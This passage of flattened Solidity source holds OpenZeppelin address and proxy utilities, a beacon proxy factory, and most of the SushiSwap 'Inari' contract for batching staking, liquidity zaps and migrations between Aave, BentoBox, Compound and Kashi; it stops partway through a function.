* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/proxy/beacon/IBeacon.sol";
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract InitializeableBeaconProxy is Proxy {
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 private constant _BEACON_SLOT =
0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
function initialize(address beacon, bytes memory data) external payable {
assert(
_BEACON_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1)
);
require(_beacon() == address(0), "Beacon: already initialized");
_setBeacon(beacon, data);
}
/**
* @dev Returns the current beacon address.
*/
function _beacon() internal view virtual returns (address beacon) {
bytes32 slot = _BEACON_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
beacon := sload(slot)
}
}
/**
* @dev Returns the current implementation address of the associated beacon.
*/
function _implementation()
internal
view
virtual
override
returns (address)
{
return IBeacon(_beacon()).implementation();
}
/**
* @dev Changes the proxy to use a new beacon.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
function _setBeacon(address beacon, bytes memory data) internal virtual {
bytes32 slot = _BEACON_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, beacon)
}
if (data.length > 0) {
Address.functionDelegateCall(
_implementation(),
data,
"BeaconProxy: function call failed"
);
}
}
receive() external payable override {
// Needed to receive ETH without data
// OZ Proxy contract calls the _fallback() on receive and tries to delegatecall which fails
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/proxy/Clones.sol";
import "@openzeppelin/contracts/proxy/beacon/IBeacon.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./InitializeableBeaconProxy.sol";
/**
* @dev This contract is used in conjunction with one or more instances of {BeaconProxy} to determine their
* implementation contract, which is where they will delegate all function calls.
*
* An owner is able to change the implementation the beacon points to, thus upgrading the proxies that use this beacon.
*/
contract UpgradeableBeaconFactory is IBeacon, Ownable {
address private _implementation;
InitializeableBeaconProxy public proxyAddress;
/**
* @dev Emitted when the implementation returned by the beacon is changed.
*/
event Upgraded(address indexed implementation);
/**
* @dev Sets the address of the initial implementation, and the deployer account as the owner who can upgrade the
* beacon.
*/
constructor(address payable proxyAddress_, address implementation_) {
proxyAddress = InitializeableBeaconProxy(proxyAddress_);
_setImplementation(implementation_);
}
/**
* @dev Returns the current implementation address.
*/
function implementation() public view virtual override returns (address) {
return _implementation;
}
function cloneProxy(bytes memory initData)
external
returns (address payable proxy_)
{
proxy_ = payable(Clones.clone(address(proxyAddress)));
InitializeableBeaconProxy(proxy_).initialize(address(this), initData);
}
/**
* @dev Upgrades the beacon to a new implementation.
*
* Emits an {Upgraded} event.
*
* Requirements:
*
* - msg.sender must be the owner of the contract.
* - `newImplementation` must be a contract.
*/
function upgradeTo(address newImplementation) public virtual onlyOwner {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation contract address for this beacon
*
* Requirements:
*
* - `newImplementation` must be a contract.
*/
function _setImplementation(address newImplementation) private {
require(
Address.isContract(newImplementation),
"UpgradeableBeacon: implementation is not a contract"
);
_implementation = newImplementation;
}
}
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/// SPDX-License-Identifier: MIT
/*
▄▄█ ▄ ██ █▄▄▄▄ ▄█
██ █ █ █ █ ▄▀ ██
██ ██ █ █▄▄█ █▀▀▌ ██
▐█ █ █ █ █ █ █ █ ▐█
▐ █ █ █ █ █ ▐
█ ██ █ ▀
▀ */
/// Special thanks to Keno, Boring and Gonpachi for review and continued inspiration.
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// @notice A library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math).
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
/// @notice Interface for depositing into and withdrawing from Aave lending pool.
interface IAaveBridge {
function UNDERLYING_ASSET_ADDRESS() external view returns (address);
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
function withdraw(
address token,
uint256 amount,
address destination
) external;
}
/// @notice Interface for depositing into and withdrawing from BentoBox vault.
interface IBentoBridge {
function balanceOf(IERC20, address) external view returns (uint256);
function registerProtocol() external;
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into and withdrawing from Compound finance protocol.
interface ICompoundBridge {
function underlying() external view returns (address);
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
}
/// @notice Interface for Dai Stablecoin (DAI) `permit()` primitive.
interface IDaiPermit {
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
/// @notice Interface for depositing and withdrawing assets from KASHI.
interface IKashi {
function asset() external returns (IERC20);
function addAsset(
address to,
bool skim,
uint256 share
) external returns (uint256 fraction);
function removeAsset(address to, uint256 fraction) external returns (uint256 share);
}
/// @notice Interface for depositing into and withdrawing from SushiBar.
interface ISushiBarBridge {
function enter(uint256 amount) external;
function leave(uint256 share) external;
}
/// @notice Interface for SushiSwap.
interface ISushiSwap {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
// File @boringcrypto/boring-solidity/contracts/interfaces/[email protected]
/// License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
/// License-Identifier: MIT
library BoringERC20 {
bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol()
bytes4 private constant SIG_NAME = 0x06fdde03; // name()
bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals()
bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256)
bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256)
/// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransfer(
IERC20 token,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
/// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param from Transfer tokens from.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed");
}
}
// File @boringcrypto/boring-solidity/contracts/[email protected]
/// License-Identifier: MIT
contract BaseBoringBatchable {
/// @dev Helper function to extract a useful revert message from a failed call.
/// If the returned data is malformed or not correctly abi encoded then this call can fail itself.
function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "Transaction reverted silently";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
/// @notice Allows batched call to self (this contract).
/// @param calls An array of inputs for each call.
/// @param revertOnFail If True then reverts after a failed call and stops doing further calls.
/// @return successes An array indicating the success of a call, mapped one-to-one to `calls`.
/// @return results An array with the returned data of each function call, mapped one-to-one to `calls`.
// F1: External is ok here because this is the batch function, adding it to a batch makes no sense
// F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value
// C3: The length of the loop is fully under user control, so can't be exploited
// C7: Delegatecall is only used on the same contract, so it's safe
function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) {
successes = new bool[](calls.length);
results = new bytes[](calls.length);
for (uint256 i = 0; i < calls.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(calls[i]);
require(success || !revertOnFail, _getRevertMsg(result));
successes[i] = success;
results[i] = result;
}
}
}
/// @notice Extends `BoringBatchable` with DAI `permit()`.
contract BoringBatchableWithDai is BaseBoringBatchable {
address constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // DAI token contract
/// @notice Call wrapper that performs `ERC20.permit` on `dai` using EIP 2612 primitive.
/// Lookup `IDaiPermit.permit`.
function permitDai(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) public {
IDaiPermit(dai).permit(holder, spender, nonce, expiry, allowed, v, r, s);
}
/// @notice Call wrapper that performs `ERC20.permit` on `token`.
/// Lookup `IERC20.permit`.
// F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert)
// if part of a batch this could be used to grief once as the second call would not need the permit
function permitToken(
IERC20 token,
address from,
address to,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public {
token.permit(from, to, amount, deadline, v, r, s);
}
}
/// @notice Babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method).
library Babylonian {
function sqrt(uint y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
/// @notice Interface for SushiSwap liquidity zaps based on awesomeness from zapper.fi (0xcff6eF0B9916682B37D80c19cFF8949bc1886bC2).
interface ISushiLiquidityZap {
function token0() external pure returns (address);
function token1() external pure returns (address);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function burn(address to) external returns (uint amount0, uint amount1);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
/// @notice SushiSwap liquidity zaps based on awesomeness from zapper.fi (0xcff6eF0B9916682B37D80c19cFF8949bc1886bC2).
contract Sushiswap_ZapIn_General_V3 {
using SafeMath for uint256;
using BoringERC20 for IERC20;
address constant sushiSwapFactory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // SushiSwap factory contract
ISushiLiquidityZap constant sushiSwapRouter = ISushiLiquidityZap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
address constant ETHAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000;
bytes32 constant pairCodeHash = 0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303; // SushiSwap pair code hash
event ZapIn(address sender, address pool, uint256 tokensRec);
/**
@notice This function is used to invest in given SushiSwap pair through ETH/ERC20 Tokens
@param to Address to receive LP tokens
@param _FromTokenContractAddress The ERC20 token used for investment (address(0x00) if ether)
@param _pairAddress The SushiSwap pair address
@param _amount The amount of fromToken to invest
@param _minPoolTokens Reverts if less tokens received than this
@param _swapTarget Excecution target for the first swap
@param swapData Dex quote data
@param transferResidual Set false to save gas by donating the residual remaining after a Zap
@return Amount of LP bought
*/
function zapIn(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData,
bool transferResidual
) external payable returns (uint256) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData,
transferResidual
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
IERC20(_pairAddress).safeTransfer(to, LPBought);
return LPBought;
}
function _getPairTokens(address _pairAddress) private pure returns (address token0, address token1)
{
ISushiLiquidityZap sushiPair = ISushiLiquidityZap(_pairAddress);
token0 = sushiPair.token0();
token1 = sushiPair.token1();
}
function _pullTokens(address token, uint256 amount) private returns (uint256 value) {
if (token == address(0)) {
require(msg.value > 0, "No eth sent");
return msg.value;
}
require(amount > 0, "Invalid token amount");
require(msg.value == 0, "Eth sent with token");
// transfer token
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
return amount;
}
function _performZapIn(
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapData,
bool transferResidual
) private returns (uint256) {
uint256 intermediateAmt;
address intermediateToken;
(
address _ToSushipoolToken0,
address _ToSushipoolToken1
) = _getPairTokens(_pairAddress);
if (
_FromTokenContractAddress != _ToSushipoolToken0 &&
_FromTokenContractAddress != _ToSushipoolToken1
) {
// swap to intermediate
(intermediateAmt, intermediateToken) = _fillQuote(
_FromTokenContractAddress,
_pairAddress,
_amount,
_swapTarget,
swapData
);
} else {
intermediateToken = _FromTokenContractAddress;
intermediateAmt = _amount;
}
// divide intermediate into appropriate amount to add liquidity
(uint256 token0Bought, uint256 token1Bought) = _swapIntermediate(
intermediateToken,
_ToSushipoolToken0,
_ToSushipoolToken1,
intermediateAmt
);
return
_sushiDeposit(
_ToSushipoolToken0,
_ToSushipoolToken1,
token0Bought,
token1Bought,
transferResidual
);
}
function _sushiDeposit(
address _ToUnipoolToken0,
address _ToUnipoolToken1,
uint256 token0Bought,
uint256 token1Bought,
bool transferResidual
) private returns (uint256) {
IERC20(_ToUnipoolToken0).approve(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken1).approve(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken0).approve(
address(sushiSwapRouter),
token0Bought
);
IERC20(_ToUnipoolToken1).approve(
address(sushiSwapRouter),
token1Bought
);
(uint256 amountA, uint256 amountB, uint256 LP) = sushiSwapRouter
.addLiquidity(
_ToUnipoolToken0,
_ToUnipoolToken1,
token0Bought,
token1Bought,
1,
1,
address(this),
deadline
);
if (transferResidual) {
// Returning Residue in token0, if any.
if (token0Bought.sub(amountA) > 0) {
IERC20(_ToUnipoolToken0).safeTransfer(
msg.sender,
token0Bought.sub(amountA)
);
}
// Returning Residue in token1, if any
if (token1Bought.sub(amountB) > 0) {
IERC20(_ToUnipoolToken1).safeTransfer(
msg.sender,
token1Bought.sub(amountB)
);
}
}
return LP;
}
function _fillQuote(
address _fromTokenAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) private returns (uint256 amountBought, address intermediateToken) {
uint256 valueToSend;
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
IERC20 fromToken = IERC20(_fromTokenAddress);
fromToken.approve(address(_swapTarget), 0);
fromToken.approve(address(_swapTarget), _amount);
}
(address _token0, address _token1) = _getPairTokens(_pairAddress);
IERC20 token0 = IERC20(_token0);
IERC20 token1 = IERC20(_token1);
uint256 initialBalance0 = token0.balanceOf(address(this));
uint256 initialBalance1 = token1.balanceOf(address(this));
(bool success, ) = _swapTarget.call{value: valueToSend}(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBalance0 = token0.balanceOf(address(this)).sub(
initialBalance0
);
uint256 finalBalance1 = token1.balanceOf(address(this)).sub(
initialBalance1
);
if (finalBalance0 > finalBalance1) {
amountBought = finalBalance0;
intermediateToken = _token0;
} else {
amountBought = finalBalance1;
intermediateToken = _token1;
}
require(amountBought > 0, "Swapped to Invalid Intermediate");
}
function _swapIntermediate(
address _toContractAddress,
address _ToSushipoolToken0,
address _ToSushipoolToken1,
uint256 _amount
) private returns (uint256 token0Bought, uint256 token1Bought) {
(address token0, address token1) = _ToSushipoolToken0 < _ToSushipoolToken1 ? (_ToSushipoolToken0, _ToSushipoolToken1) : (_ToSushipoolToken1, _ToSushipoolToken0);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 res0, uint256 res1, ) = pair.getReserves();
if (_toContractAddress == _ToSushipoolToken0) {
uint256 amountToSwap = calculateSwapInAmount(res0, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token1Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken1,
amountToSwap
);
token0Bought = _amount.sub(amountToSwap);
} else {
uint256 amountToSwap = calculateSwapInAmount(res1, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token0Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken0,
amountToSwap
);
token1Bought = _amount.sub(amountToSwap);
}
}
function calculateSwapInAmount(uint256 reserveIn, uint256 userIn) private pure returns (uint256)
{
return
Babylonian
.sqrt(
reserveIn.mul(userIn.mul(3988000) + reserveIn.mul(3988009))
)
.sub(reserveIn.mul(1997)) / 1994;
}
/**
@notice This function is used to swap ERC20 <> ERC20
@param _FromTokenContractAddress The token address to swap from.
@param _ToTokenContractAddress The token address to swap to.
@param tokens2Trade The amount of tokens to swap
@return tokenBought The quantity of tokens bought
*/
function _token2Token(
address _FromTokenContractAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) private returns (uint256 tokenBought) {
if (_FromTokenContractAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
IERC20(_FromTokenContractAddress).approve(
address(sushiSwapRouter),
0
);
IERC20(_FromTokenContractAddress).approve(
address(sushiSwapRouter),
tokens2Trade
);
(address token0, address token1) = _FromTokenContractAddress < _ToTokenContractAddress ? (_FromTokenContractAddress, _ToTokenContractAddress) : (_ToTokenContractAddress, _FromTokenContractAddress);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
require(address(pair) != address(0), "No Swap Available");
address[] memory path = new address[](2);
path[0] = _FromTokenContractAddress;
path[1] = _ToTokenContractAddress;
tokenBought = sushiSwapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
require(tokenBought > 0, "Error Swapping Tokens 2");
}
function zapOut(
address pair,
address to,
uint256 amount
) external {
IERC20(pair).safeTransferFrom(msg.sender, address(pair), amount); // pull `amount` to `pair`
ISushiLiquidityZap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
}
/// @notice Interface for SUSHI MasterChef v2.
interface IMasterChefv2 {
function lpToken(uint256 pid) external view returns (IERC20);
function deposit(uint256 pid, uint256 amount, address to) external;
}
/// @notice Interface for ETH wrapper contract (v9).
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
}
/// @notice Contract that batches SUSHI staking and DeFi strategies - V1 iroirona.
contract Inari is BoringBatchableWithDai, Sushiswap_ZapIn_General_V3 {
using SafeMath for uint256;
using BoringERC20 for IERC20;
address governance = msg.sender; // governance role to initialize `masterChefv2`
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefv2 masterChefv2; // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // ETH wrapper contract (v9)
/// @notice Initialize this Inari contract.
constructor() public {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].approve(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/// @notice Admin function to set `masterChefv2` and burn `governance` role.
function setMasterChefv2(IMasterChefv2 _masterChefv2) external {
require(msg.sender == governance, '!governance');
masterChefv2 = _masterChefv2;
governance = address(0);
}
/**********
ETH HELPERS
**********/
receive() external payable {}
function depositETH() external payable {}
function withdrawETHBalance(address to) external {
(bool success, ) = to.call{value: address(this).balance}("");
require(success, '!ethCall');
}
/***********
WETH HELPERS
***********/
function depositBalanceToWETH() external payable {
IWETH(wETH).deposit{value: address(this).balance}();
}
function withdrawBalanceFromWETH(address to) external {
IWETH(wETH).withdraw(IERC20(wETH).balanceOf(address(this)));
(bool success, ) = to.call{value: address(this).balance}("");
require(success, '!ethCall');
}
/**********
TKN HELPERS
**********/
function depositToken(IERC20 token, uint256 amount) external {
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
IERC20(token).safeTransfer(to, token.balanceOf(address(this)));
}
/************
SUSHI HELPERS
************/
/// @notice Stake SUSHI `amount` into xSushi for benefit of `to` by call to `sushiBar`.
function stakeSushi(address to, uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
IERC20(sushiBar).safeTransfer(to, IERC20(sushiBar).balanceOf(address(this))); // transfer resulting xSUSHI to `to`
}
/// @notice Stake SUSHI local balance into xSushi for benefit of `to` by call to `sushiBar`.
function stakeSushiBalance(address to) external {
ISushiBarBridge(sushiBar).enter(sushiToken.balanceOf(address(this))); // stake local SUSHI into `sushiBar` xSUSHI
IERC20(sushiBar).safeTransfer(to, IERC20(sushiBar).balanceOf(address(this))); // transfer resulting xSUSHI to `to`
}
/***********
CHEF HELPERS
***********/
function balanceToMasterChefv2(IERC20 lpToken, uint256 pid, address to) external {
masterChefv2.deposit(pid, lpToken.balanceOf(address(this)), to);
}
/************
KASHI HELPERS
************/
function addAssetBalanceToKashi(IKashi kashiPair, address to, bool skim) external {
kashiPair.addAsset(to, skim, bento.balanceOf(kashiPair.asset(), address(this)));
}
function removeAssetBalanceFromKashi(address kashiPair, address to) external {
IKashi(kashiPair).removeAsset(to, IERC20(kashiPair).balanceOf(address(this)));
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).balanceOf(address(this)), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).balanceOf(address(this)), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
bento.deposit(IERC20(underlying), address(this), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
